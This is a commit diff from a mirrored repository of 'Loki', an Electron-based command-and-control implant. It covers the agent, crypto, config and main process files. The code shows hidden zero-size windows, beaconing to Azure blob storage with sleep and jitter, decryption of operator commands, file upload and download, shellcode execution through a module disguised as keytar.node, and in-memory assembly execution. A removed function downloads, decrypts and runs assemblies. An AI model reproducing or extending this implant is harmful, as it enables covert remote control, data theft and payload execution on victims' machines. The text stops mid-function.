mirror of
https://github.com/boku7/Loki
synced 2026-06-06 15:24:27 +00:00
fixed assembly fork-n-run, now it returns output and kills the forked process after getting stdout. Fixed client desync client command collection issue with upload and download.
This commit is contained in:
+59
-55
@@ -1,62 +1,66 @@
|
||||
const {generateUUID,generateAESKey} = require('./crypt.js');
|
||||
const { generateUUID, generateAESKey } = require('./crypt.js');
|
||||
|
||||
class Window {
|
||||
constructor() {
|
||||
this.BrowserWindow = null;
|
||||
}
|
||||
setBrowserWindow(BrowserWindow) {
|
||||
this.BrowserWindow = BrowserWindow;
|
||||
}
|
||||
}
|
||||
class Container
|
||||
{
|
||||
constructor()
|
||||
{
|
||||
this.name = 's'+generateUUID(10);
|
||||
this.key = generateAESKey();
|
||||
this.blobs = {
|
||||
'key': 'k-'+generateUUID(10),
|
||||
'checkin': 'c-'+generateUUID(10),
|
||||
'in': 'i-'+generateUUID(10),
|
||||
'out': 'o-'+generateUUID(10)
|
||||
};
|
||||
}
|
||||
setName(name) {
|
||||
this.name = name;
|
||||
}
|
||||
setKey(key) {
|
||||
this.key = {
|
||||
'key' : key.key,
|
||||
'iv' : key.iv
|
||||
};
|
||||
}
|
||||
constructor() {
|
||||
this.BrowserWindow = null;
|
||||
}
|
||||
|
||||
setBrowserWindow(BrowserWindow) {
|
||||
this.BrowserWindow = BrowserWindow;
|
||||
}
|
||||
}
|
||||
|
||||
class Agent
|
||||
{
|
||||
constructor(windowid, status = null)
|
||||
{
|
||||
this.window = new Window(windowid, status);
|
||||
this.agentid = 'a'+generateUUID(16);
|
||||
this.container = new Container();
|
||||
this.checkin = Date.now();
|
||||
this.sleepinterval = 5;
|
||||
this.sleepjitter = 15;
|
||||
this.thissleep = 5000;
|
||||
}
|
||||
setAgentId(agentid) {
|
||||
this.agentid = agentid;
|
||||
}
|
||||
setContainer(container) {
|
||||
this.container = container;
|
||||
}
|
||||
// Method to replace the window
|
||||
setWindow(window) {
|
||||
this.window = window;
|
||||
}
|
||||
class Container {
|
||||
constructor() {
|
||||
this.name = 's' + generateUUID(10);
|
||||
this.key = generateAESKey();
|
||||
this.blobs = {
|
||||
'key': 'k-' + generateUUID(10),
|
||||
'checkin': 'c-' + generateUUID(10),
|
||||
'in': 'i-' + generateUUID(10),
|
||||
'out': 'o-' + generateUUID(10)
|
||||
};
|
||||
}
|
||||
|
||||
setName(name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
setKey(key) {
|
||||
this.key = {
|
||||
'key': key.key,
|
||||
'iv': key.iv
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
class Agent {
|
||||
constructor(windowid, status = null) {
|
||||
this.window = new Window(windowid, status);
|
||||
this.agentid = 'a' + generateUUID(16);
|
||||
this.container = new Container();
|
||||
this.checkin = Date.now();
|
||||
this.sleepinterval = 5;
|
||||
this.sleepjitter = 15;
|
||||
this.thissleep = 5000;
|
||||
}
|
||||
|
||||
setAgentId(agentid) {
|
||||
this.agentid = agentid;
|
||||
}
|
||||
|
||||
setContainer(container) {
|
||||
this.container = container;
|
||||
}
|
||||
|
||||
// Method to replace the window
|
||||
setWindow(window) {
|
||||
this.window = window;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
Agent,
|
||||
Window,
|
||||
Container
|
||||
Agent,
|
||||
Window,
|
||||
Container
|
||||
};
|
||||
|
||||
@@ -48,43 +48,6 @@ async function func_Web_Request(options, data = null, isBytes=false) {
|
||||
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('do-assembly', async (event, container, args, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-assembly | ${container} ${scexecblob}`);
|
||||
let assemblyoutput = await func_Azure_Assembly_Download_Exec(container,scexecblob,key,iv,args);
|
||||
ipcRenderer.send('end-file-op','do-assembly',assemblyoutput,key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_Assembly_Download_Exec(containerName, scexecblob, key,iv,args)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`browser.js | func_Azure_Assembly_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let assemblyNodePath = await ipcRenderer.invoke('get-global-path', 'assemblyNodePath');
|
||||
let x = require(assemblyNodePath);
|
||||
const argv = await func_Split_Quoted_String(args);
|
||||
let aoutput = x.execute_assembly(raw, argv);
|
||||
return aoutput;
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('do-node-load', async (event,nodepath) => {
|
||||
try
|
||||
{
|
||||
|
||||
+11
-20
@@ -1,4 +1,3 @@
|
||||
|
||||
async function func_Split_Quoted_String(str) {
|
||||
const result = [];
|
||||
let current = '';
|
||||
@@ -51,30 +50,26 @@ async function func_Split_Quoted_String(str) {
|
||||
|
||||
return result;
|
||||
}
|
||||
async function numcheck(value, defaultNumber, min = 1, max = 900)
|
||||
{
|
||||
|
||||
async function numcheck(value, defaultNumber, min = 1, max = 900) {
|
||||
if (typeof value !== 'number' || isNaN(value)) {
|
||||
value = defaultNumber;
|
||||
value = defaultNumber;
|
||||
}
|
||||
if (value < min) {
|
||||
return min;
|
||||
return min;
|
||||
} else if (value > max) {
|
||||
return max;
|
||||
return max;
|
||||
} else {
|
||||
return value;
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
async function getrand(number, percent)
|
||||
{
|
||||
try
|
||||
{
|
||||
async function getrand(number, percent) {
|
||||
try {
|
||||
// Calculate the range based on the percentage
|
||||
number = Number(number);
|
||||
percent = Number(percent);
|
||||
//common.logToFile(`getRandomValue(${number},${percent})`);
|
||||
const range = number * (percent / 100);
|
||||
//common.logToFile(`range : ${range}`);
|
||||
|
||||
// Calculate the minimum and maximum values
|
||||
let minValue = number - range;
|
||||
@@ -86,23 +81,19 @@ async function getrand(number, percent)
|
||||
maxValue = 1000;
|
||||
}
|
||||
|
||||
if(maxValue > 600000){
|
||||
if (maxValue > 600000) {
|
||||
maxValue = 600000;
|
||||
}
|
||||
//common.logToFile(`min value : ${minValue}`);
|
||||
//common.logToFile(`max value : ${maxValue}`);
|
||||
|
||||
// Generate a random value between minValue and maxValue
|
||||
const randomValue = Math.random() * (maxValue - minValue) + minValue;
|
||||
|
||||
return Math.floor(randomValue);
|
||||
|
||||
}catch( error )
|
||||
{
|
||||
} catch (error) {
|
||||
// Handle error if needed
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
module.exports = {
|
||||
func_Split_Quoted_String,
|
||||
numcheck,
|
||||
|
||||
+1
-1
@@ -2,4 +2,4 @@ module.exports = {
|
||||
storageAccount: '',
|
||||
metaContainer: '',
|
||||
sasToken: ''
|
||||
};
|
||||
};
|
||||
+8
-13
@@ -61,23 +61,18 @@ async function func_Base64_Decode(base64) {
|
||||
return decoded;
|
||||
}
|
||||
|
||||
// function generateUUID(len) {
|
||||
// // Generate a random UUID
|
||||
// if (len > 20){len = 20};
|
||||
// const uuid = crypto.randomUUID();
|
||||
// // Remove hyphens and take the first 10 characters
|
||||
// const shortUUID = uuid.replace(/-/g, '').substring(0, len);
|
||||
// return shortUUID;
|
||||
// }
|
||||
|
||||
function generateUUID(len) {
|
||||
if (len > 20) len = 20; // Limit max length to 20
|
||||
if (len < 1) return ''; // Handle invalid length
|
||||
|
||||
// Generate random bytes and convert to hex
|
||||
const uuid = crypto.randomBytes(Math.ceil(len / 2)).toString('hex');
|
||||
const letters = 'abcdefghijklmnopqrstuvwxyz';
|
||||
const firstChar = letters[Math.floor(Math.random() * letters.length)];
|
||||
|
||||
// Trim to the required length
|
||||
return uuid.substring(0, len);
|
||||
if (len === 1) return firstChar;
|
||||
|
||||
// Generate (len - 1) hex characters
|
||||
const uuid = crypto.randomBytes(Math.ceil((len - 1) / 2)).toString('hex');
|
||||
return (firstChar + uuid).substring(0, len);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
|
||||
+257
-323
@@ -1,369 +1,303 @@
|
||||
const { app, BrowserWindow, ipcMain } = require('electron');
|
||||
const {Agent} = require('./agent.js');
|
||||
const {func_Encrypt,func_Decrypt,func_Base64_Encode,func_Base64_Decode} = require('./crypt.js');
|
||||
const {func_Command_Handler} = require('./handler.js');
|
||||
const {func_Split_Quoted_String,numcheck,getrand} = require('./common.js');
|
||||
const config = require('./config.js');
|
||||
const metaContainer = config.metaContainer;
|
||||
let fileop_timer = 0;
|
||||
const { Agent } = require('./agent.js');
|
||||
const { func_Encrypt, func_Decrypt, func_Base64_Encode, func_Base64_Decode } = require('./crypt.js');
|
||||
const { func_Command_Handler } = require('./handler.js');
|
||||
const { func_Split_Quoted_String, numcheck, getrand } = require('./common.js');
|
||||
const config = require('./config.js');
|
||||
const metaContainer = config.metaContainer;
|
||||
let fileop_timer = 0;
|
||||
let agent;
|
||||
let isContainersInit = false;
|
||||
let isContainersInit = false;
|
||||
let agentwindow;
|
||||
let execwindow;
|
||||
let initbrowserwindow = false;
|
||||
let fileop = false;
|
||||
let scexec_op = false;
|
||||
let dbg = true;
|
||||
let exitall = false;
|
||||
let launch = false;
|
||||
let handover = false;
|
||||
global.scexecNodePath = "./keytar.node";
|
||||
let initbrowserwindow = false;
|
||||
let fileop = false;
|
||||
let scexec_op = false;
|
||||
let dbg = true;
|
||||
let exitall = false;
|
||||
let launch = false;
|
||||
let handover = false;
|
||||
global.scexecNodePath = "./keytar.node";
|
||||
global.assemblyNodePath = "./assembly.node";
|
||||
|
||||
function func_log(text)
|
||||
{
|
||||
const { log } = require('console');
|
||||
if(dbg)
|
||||
{
|
||||
log(text);
|
||||
}
|
||||
function func_log(text) {
|
||||
const { log } = require('console');
|
||||
if (dbg) {
|
||||
log(text);
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Window_Create() {
|
||||
initbrowserwindow = false;
|
||||
agentwindow = new BrowserWindow({
|
||||
width: 0,
|
||||
height: 0,
|
||||
show: false,
|
||||
skipTaskbar: true,
|
||||
webPreferences: {
|
||||
nodeIntegration: true,
|
||||
contextIsolation: false,
|
||||
backgroundThrottling: false,
|
||||
v8CacheOptions: 'none'
|
||||
}
|
||||
});
|
||||
initbrowserwindow = true;
|
||||
agentwindow.loadFile('browser.html');
|
||||
initbrowserwindow = false;
|
||||
agentwindow = new BrowserWindow({
|
||||
width: 0,
|
||||
height: 0,
|
||||
show: false,
|
||||
skipTaskbar: true,
|
||||
webPreferences: {
|
||||
nodeIntegration: true,
|
||||
contextIsolation: false,
|
||||
backgroundThrottling: false,
|
||||
v8CacheOptions: 'none'
|
||||
}
|
||||
});
|
||||
initbrowserwindow = true;
|
||||
agentwindow.loadFile('browser.html');
|
||||
}
|
||||
|
||||
app.on('window-all-closed', () => {
|
||||
if (process.platform !== 'darwin') {
|
||||
if (process.platform !== 'darwin') {
|
||||
}
|
||||
});
|
||||
|
||||
async function func_Window_Exec() {
|
||||
execwindow = new BrowserWindow({
|
||||
width: 0,
|
||||
height: 0,
|
||||
show: false,
|
||||
skipTaskbar: true,
|
||||
webPreferences: {
|
||||
nodeIntegration: true,
|
||||
contextIsolation: false,
|
||||
backgroundThrottling: false,
|
||||
v8CacheOptions: 'none'
|
||||
}
|
||||
});
|
||||
execwindow.loadFile('assembly.html');
|
||||
execwindow = new BrowserWindow({
|
||||
width: 0,
|
||||
height: 0,
|
||||
show: false,
|
||||
skipTaskbar: true,
|
||||
webPreferences: {
|
||||
nodeIntegration: true,
|
||||
contextIsolation: false,
|
||||
backgroundThrottling: false,
|
||||
v8CacheOptions: 'none'
|
||||
}
|
||||
});
|
||||
execwindow.loadFile('assembly.html');
|
||||
}
|
||||
|
||||
app.on('window-all-closed', () => {
|
||||
if (process.platform !== 'darwin') {
|
||||
if (process.platform !== 'darwin') {
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
async function func_Container_Init()
|
||||
{
|
||||
if(isContainersInit == false)
|
||||
{
|
||||
//func_log(`sending IPC create-container ${agent.container.name}`);
|
||||
await agentwindow.webContents.send('init-container', agent.container.name, JSON.stringify(agent.container.blobs), agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
await agentwindow.webContents.send('init-mapping-container', metaContainer, agent.agentid,agent.container.name);
|
||||
if (launch == false)
|
||||
{
|
||||
launch = true;
|
||||
//let nodepath = './git.node';
|
||||
//let delay = 20000; // 20s
|
||||
//agentwindow.webContents.send('do-launch',nodepath,delay);
|
||||
async function func_Container_Init() {
|
||||
if (isContainersInit == false) {
|
||||
await agentwindow.webContents.send('init-container', agent.container.name, JSON.stringify(agent.container.blobs), agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
|
||||
await agentwindow.webContents.send('init-mapping-container', metaContainer, agent.agentid, agent.container.name);
|
||||
if (launch == false) {
|
||||
launch = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let globalPaths = {
|
||||
scExecNodePath: "./keytar.node",
|
||||
assemblyNodePath: "./assembly.node"
|
||||
scExecNodePath: "./keytar.node",
|
||||
assemblyNodePath: "./assembly.node"
|
||||
};
|
||||
|
||||
// Handle requests from renderer to get a global value
|
||||
ipcMain.handle('get-global-path', (event, key) => {
|
||||
globalPaths['scexecNodePath'] = global.scexecNodePath;
|
||||
globalPaths['assemblyNodePath'] = global.assemblyNodePath;
|
||||
return globalPaths[key] || null; // Return the requested value
|
||||
globalPaths['scexecNodePath'] = global.scexecNodePath;
|
||||
globalPaths['assemblyNodePath'] = global.assemblyNodePath;
|
||||
return globalPaths[key] || null;
|
||||
});
|
||||
|
||||
// Allow renderer to update a global value
|
||||
ipcMain.on('set-global-path', (event, key, value) => {
|
||||
globalPaths[key] = value;
|
||||
if ( key === 'scexecNodePath' )
|
||||
{
|
||||
global.scexecNodePath = globalPaths[key];
|
||||
}else if ( key === 'assemblyNodePath' )
|
||||
{
|
||||
global.assemblyNodePath = globalPaths[key];
|
||||
}
|
||||
globalPaths[key] = value;
|
||||
if (key === 'scexecNodePath') {
|
||||
global.scexecNodePath = globalPaths[key];
|
||||
} else if (key === 'assemblyNodePath') {
|
||||
global.assemblyNodePath = globalPaths[key];
|
||||
}
|
||||
});
|
||||
|
||||
async function func_Input_Read()
|
||||
{
|
||||
try
|
||||
{
|
||||
func_log(`func_Input_Read() fileop = ${fileop}`);
|
||||
fileop_timer += agent.sleepinterval*1000;
|
||||
if (fileop_timer > 180) // after 3 min we wipe the file op timer and resume functionality
|
||||
{
|
||||
fileop = false;
|
||||
}
|
||||
if (isContainersInit == true && initbrowserwindow == true && fileop == false)
|
||||
{
|
||||
if (agentwindow && agentwindow.webContents && !agentwindow.webContents.isDestroyed())
|
||||
{
|
||||
await agentwindow.webContents.send('input-read',agent.container.name, agent.container.blobs['in']);
|
||||
fileop_timer = 0;
|
||||
}else {
|
||||
func_log('Render frame was disposed before WebFrameMain could be accessed');
|
||||
}
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in func_Input_Read() main.js ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
function func_Window_Stat()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (isContainersInit == true && fileop == false && exitall == false)
|
||||
{
|
||||
if(agent.window.checkin && agent.checkin)
|
||||
{
|
||||
let elapsed_window_checkin = (Date.now() - agent.window.checkin)/1000;
|
||||
let elapsed_agent_checkin = (Date.now() - agent.checkin)/1000;
|
||||
if (elapsed_window_checkin > 40 || (elapsed_agent_checkin > agent.sleepinterval * 5 || scexec_op == true) ) // modify to change spawn if no checkin time
|
||||
{
|
||||
func_log(`Creating new window with window ID ${agentwindow.id+1}`);
|
||||
let old_window = agentwindow;
|
||||
agent.window.checkin = Date.now();
|
||||
agent.checkin = Date.now();
|
||||
func_Window_Create();
|
||||
try
|
||||
{
|
||||
if(scexec_op == false)
|
||||
{
|
||||
old_window.close();
|
||||
}else
|
||||
{
|
||||
scexec_op = false;
|
||||
}
|
||||
}catch(err){}
|
||||
async function func_Input_Read() {
|
||||
try {
|
||||
func_log(`func_Input_Read() fileop = ${fileop}`);
|
||||
fileop_timer += agent.sleepinterval * 1000;
|
||||
if (fileop_timer > 180) {
|
||||
fileop = false;
|
||||
}
|
||||
}
|
||||
if (isContainersInit == true && initbrowserwindow == true && fileop == false) {
|
||||
if (agentwindow && agentwindow.webContents && !agentwindow.webContents.isDestroyed()) {
|
||||
await agentwindow.webContents.send('input-read', agent.container.name, agent.container.blobs['in']);
|
||||
fileop_timer = 0;
|
||||
} else {
|
||||
func_log('Render frame was disposed before WebFrameMain could be accessed');
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
func_log(`Error in func_Input_Read() main.js ${error} ${error.stack}`);
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function func_Window_Stat() {
|
||||
try {
|
||||
if (isContainersInit == true && fileop == false && exitall == false) {
|
||||
if (agent.window.checkin && agent.checkin) {
|
||||
let elapsed_window_checkin = (Date.now() - agent.window.checkin) / 1000;
|
||||
let elapsed_agent_checkin = (Date.now() - agent.checkin) / 1000;
|
||||
if (elapsed_window_checkin > 40 || (elapsed_agent_checkin > agent.sleepinterval * 5 || scexec_op == true)) {
|
||||
func_log(`Creating new window with window ID ${agentwindow.id + 1}`);
|
||||
let old_window = agentwindow;
|
||||
agent.window.checkin = Date.now();
|
||||
agent.checkin = Date.now();
|
||||
func_Window_Create();
|
||||
try {
|
||||
if (scexec_op == false) {
|
||||
old_window.close();
|
||||
} else {
|
||||
scexec_op = false;
|
||||
}
|
||||
} catch (err) {}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
func_log(error);
|
||||
}
|
||||
}
|
||||
|
||||
app.on('ready', async () => {
|
||||
const initWindowStatus = 'ready';
|
||||
agent = new Agent();
|
||||
await func_Window_Create();
|
||||
setInterval(func_Window_Stat, 5000);
|
||||
while(true)
|
||||
{
|
||||
if(!isContainersInit)
|
||||
{
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
await func_Container_Init();
|
||||
}
|
||||
await func_Input_Read();
|
||||
func_log(`Agent.thissleep = ${agent.thissleep}`);
|
||||
if(900*1000 > agent.thissleep && agent.thissleep > 1*888)
|
||||
{
|
||||
func_log(`Sleeping for ${agent.thissleep}`);
|
||||
await new Promise(resolve => setTimeout(resolve, agent.thissleep));
|
||||
}else
|
||||
{
|
||||
await new Promise(resolve => setTimeout(resolve, 10000));
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('checkin', async (event,checkin) => {
|
||||
//func_log(`Browser window checked in with main at ${checkin}`);
|
||||
agent.window.checkin = checkin;
|
||||
});
|
||||
|
||||
ipcMain.on('poll-complete', (event,agentcheckin,inblob) => {
|
||||
// func_log(`Browser window updated input blob ${inblob} with timestamp ${agentcheckin}`);
|
||||
agent.checkin = agentcheckin;
|
||||
});
|
||||
|
||||
|
||||
ipcMain.on('do-command', async (event,command) => {
|
||||
try
|
||||
{
|
||||
let command_output = "";
|
||||
let execwin = false;
|
||||
handover = false;
|
||||
// Decode and decrypt the command received from the input channel blob
|
||||
command = await func_Base64_Decode(command);
|
||||
command = await func_Decrypt(command, agent.container.key['key'], agent.container.key['iv']);
|
||||
func_log(`Decrypted command : ${command}`);
|
||||
// Parse the command arguments into array argv[]
|
||||
const argv = await func_Split_Quoted_String(command);
|
||||
let sendoutput = true;
|
||||
//log(`[+] argv: ${argv}`);
|
||||
if (argv[0] != "")
|
||||
{
|
||||
if (argv[0] === 'sleep')
|
||||
{
|
||||
func_log(`[-] do-command sleep | main.js | argv[1] : ${argv[1]} | argv[2] : ${argv[2]}`);
|
||||
if(!agent.sleepinterval)
|
||||
{
|
||||
agent.sleepinterval = 5;
|
||||
const initWindowStatus = 'ready';
|
||||
agent = new Agent();
|
||||
await func_Window_Create();
|
||||
setInterval(func_Window_Stat, 5000);
|
||||
while (true) {
|
||||
if (!isContainersInit) {
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
await func_Container_Init();
|
||||
}
|
||||
if(agent.sleepinterval)
|
||||
{
|
||||
agent.sleepinterval = await numcheck(Number(argv[1]), 5, 0, max = 900);
|
||||
agent.sleepjitter = await numcheck(Number(argv[2]), 15, 0, max = 300);
|
||||
command_output = `Sleeping for ${agent.sleepinterval}s with ${agent.sleepjitter}% jitter.`;
|
||||
agent.thissleep = await getrand(agent.sleepinterval*1000,agent.sleepjitter);
|
||||
}else
|
||||
{
|
||||
command_output = `[!] Error : agent.sleepinterval doesn't exist.`;
|
||||
await func_Input_Read();
|
||||
func_log(`Agent.thissleep = ${agent.thissleep}`);
|
||||
if (900 * 1000 > agent.thissleep && agent.thissleep > 1 * 888) {
|
||||
func_log(`Sleeping for ${agent.thissleep}`);
|
||||
await new Promise(resolve => setTimeout(resolve, agent.thissleep));
|
||||
} else {
|
||||
await new Promise(resolve => setTimeout(resolve, 10000));
|
||||
}
|
||||
}
|
||||
else if (argv[0] === 'exit-window')
|
||||
{
|
||||
agentwindow.close();
|
||||
}
|
||||
else if (argv[0] === 'exit-all')
|
||||
{
|
||||
agentwindow.close();
|
||||
exitall = true;
|
||||
}
|
||||
else if (argv[0] === 'download')
|
||||
{
|
||||
func_log(`[-] do-command download | main.js`);
|
||||
let srcpath = argv[1];
|
||||
let pushblob = argv[2];
|
||||
func_log(`srcpath : ${srcpath} | pushblob : ${pushblob}`);
|
||||
command_output = `agent response | Started job to push ${srcpath} file to ${agent.container.name}/${pushblob}`;
|
||||
fileop = true;
|
||||
agentwindow.webContents.send('do-push-file',agent.container.name, srcpath, pushblob,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
else if (argv[0] === 'upload')
|
||||
{
|
||||
func_log(`[-] do-command upload | main.js`);
|
||||
let pullblob = argv[1];
|
||||
let dstpath = argv[2];
|
||||
func_log(`dstpath : ${dstpath} | pullblob : ${pullblob}`);
|
||||
command_output = `agent response | Started job to pull file from ${agent.container.name}/${pullblob} to ${dstpath}`;
|
||||
fileop = true;
|
||||
agentwindow.webContents.send('do-pull-file',agent.container.name, pullblob,dstpath,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
else if (argv[0] === 'load' || argv[0] === 'scexec' || argv[0] === 'assembly')
|
||||
{
|
||||
}
|
||||
});
|
||||
|
||||
sendoutput = false;
|
||||
execwin = true;
|
||||
await func_Window_Exec();
|
||||
ipcMain.on('checkin', async (event, checkin) => {
|
||||
agent.window.checkin = checkin;
|
||||
});
|
||||
|
||||
ipcMain.on('poll-complete', (event, agentcheckin, inblob) => {
|
||||
agent.checkin = agentcheckin;
|
||||
});
|
||||
|
||||
ipcMain.on('do-command', async (event, command) => {
|
||||
try {
|
||||
let command_output = "";
|
||||
let execwin = false;
|
||||
handover = false;
|
||||
// Decode and decrypt the command received from the input channel blob
|
||||
command = await func_Base64_Decode(command);
|
||||
command = await func_Decrypt(command, agent.container.key['key'], agent.container.key['iv']);
|
||||
func_log(`Decrypted command : ${command}`);
|
||||
// Parse the command arguments into array argv[]
|
||||
const argv = await func_Split_Quoted_String(command);
|
||||
let sendoutput = true;
|
||||
if (argv[0] != "") {
|
||||
if (argv[0] === 'sleep') {
|
||||
func_log(`[-] do-command sleep | main.js | argv[1] : ${argv[1]} | argv[2] : ${argv[2]}`);
|
||||
if (!agent.sleepinterval) {
|
||||
agent.sleepinterval = 5;
|
||||
}
|
||||
if (agent.sleepinterval) {
|
||||
agent.sleepinterval = await numcheck(Number(argv[1]), 5, 0, max = 900);
|
||||
agent.sleepjitter = await numcheck(Number(argv[2]), 15, 0, max = 300);
|
||||
command_output = `Sleeping for ${agent.sleepinterval}s with ${agent.sleepjitter}% jitter.`;
|
||||
agent.thissleep = await getrand(agent.sleepinterval * 1000, agent.sleepjitter);
|
||||
} else {
|
||||
command_output = `[!] Error : agent.sleepinterval doesn't exist.`;
|
||||
}
|
||||
} else if (argv[0] === 'exit-window') {
|
||||
agentwindow.close();
|
||||
} else if (argv[0] === 'exit-all') {
|
||||
agentwindow.close();
|
||||
exitall = true;
|
||||
} else if (argv[0] === 'download') {
|
||||
func_log(`[-] do-command download | main.js`);
|
||||
sendoutput = false;
|
||||
let srcpath = argv[1];
|
||||
let pushblob = argv[2];
|
||||
func_log(`srcpath : ${srcpath} | pushblob : ${pushblob}`);
|
||||
fileop = true;
|
||||
handover = false;
|
||||
agentwindow.webContents.send('do-push-file', agent.container.name, srcpath, pushblob, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
|
||||
} else if (argv[0] === 'upload') {
|
||||
func_log(`[-] do-command upload | main.js`);
|
||||
sendoutput = false;
|
||||
let pullblob = argv[1];
|
||||
let dstpath = argv[2];
|
||||
func_log(`dstpath : ${dstpath} | pullblob : ${pullblob}`);
|
||||
fileop = true;
|
||||
handover = false;
|
||||
agentwindow.webContents.send('do-pull-file', agent.container.name, pullblob, dstpath, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
|
||||
} else if (argv[0] === 'load' || argv[0] === 'scexec' || argv[0] === 'assembly') {
|
||||
sendoutput = false;
|
||||
execwin = true;
|
||||
await func_Window_Exec();
|
||||
await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
if (argv[0] === 'load') {
|
||||
let nodepath = argv[1];
|
||||
handover = true;
|
||||
if (execwindow) {
|
||||
execwindow.webContents.send('nodeload', nodepath);
|
||||
}
|
||||
} else if (argv[0] === 'scexec') {
|
||||
let encscblob = argv[1];
|
||||
handover = true;
|
||||
if (execwindow) {
|
||||
execwindow.webContents.send('scexec', agent.container.name, encscblob, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
} else if (argv[0] === 'assembly') {
|
||||
let encscblob = argv[1];
|
||||
let args = command.slice(22);
|
||||
handover = false;
|
||||
if (execwindow) {
|
||||
execwindow.webContents.send('assembly', agent.container.name, args, encscblob, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
func_log(`[-] Hit do-command func_Command_Handler(${command}, ${JSON.stringify(argv)}) | main.js`);
|
||||
command_output = await func_Command_Handler(command, argv);
|
||||
}
|
||||
} else {
|
||||
command_output = `Failed to execute command : ${command}`;
|
||||
}
|
||||
if (sendoutput == true && execwin == false) {
|
||||
func_log(`Command output : ${command_output}`);
|
||||
command_output = await func_Encrypt(command_output, agent.container.key['key'], agent.container.key['iv']);
|
||||
command_output = await func_Base64_Encode(command_output);
|
||||
agentwindow.webContents.send('send-output', agent.container.name, agent.container.blobs['out'], command_output);
|
||||
}
|
||||
} catch (error) {
|
||||
func_log(`${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('containers-created', async (event, status) => {
|
||||
func_log(`IPC containers-created recieved from browser window with status ${status}`);
|
||||
if (status == true) {
|
||||
isContainersInit = true;
|
||||
agent.window.checkin = Date.now();
|
||||
agent.checkin = Date.now();
|
||||
} else {
|
||||
isContainersInit = false;
|
||||
await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
if (argv[0] === 'load')
|
||||
{
|
||||
let nodepath = argv[1];
|
||||
handover = true;
|
||||
if(execwindow)
|
||||
{
|
||||
execwindow.webContents.send('nodeload',nodepath);
|
||||
}
|
||||
}
|
||||
else if (argv[0] === 'scexec')
|
||||
{
|
||||
let encscblob = argv[1];
|
||||
handover = true;
|
||||
if(execwindow)
|
||||
{
|
||||
execwindow.webContents.send('scexec',agent.container.name, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
}else if (argv[0] === 'assembly')
|
||||
{
|
||||
let encscblob = argv[1];
|
||||
let args = command.slice(22);
|
||||
handover = false;
|
||||
if(execwindow)
|
||||
{
|
||||
execwindow.webContents.send('assembly',agent.container.name, args, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
func_log(`[-] Hit do-command func_Command_Handler(${command}, ${JSON.stringify(argv)}) | main.js`);
|
||||
command_output = await func_Command_Handler(command,argv);
|
||||
}
|
||||
}else // if there was no argv or impromper args then return failed message to client
|
||||
{
|
||||
command_output = `Failed to execute command : ${command}`;
|
||||
await func_Container_Init();
|
||||
}
|
||||
if(sendoutput == true && execwin == false)
|
||||
{
|
||||
func_log(`Command output : ${command_output}`);
|
||||
command_output = await func_Encrypt(command_output, agent.container.key['key'], agent.container.key['iv']);
|
||||
command_output = await func_Base64_Encode(command_output);
|
||||
agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
|
||||
});
|
||||
|
||||
ipcMain.on('end-file-op', async (event, ipcname, ipcoutput, key, iv) => {
|
||||
try {
|
||||
func_log(`Hit IPC main.js end-file-op from ${ipcname}`);
|
||||
func_log(ipcoutput);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
fileop = false;
|
||||
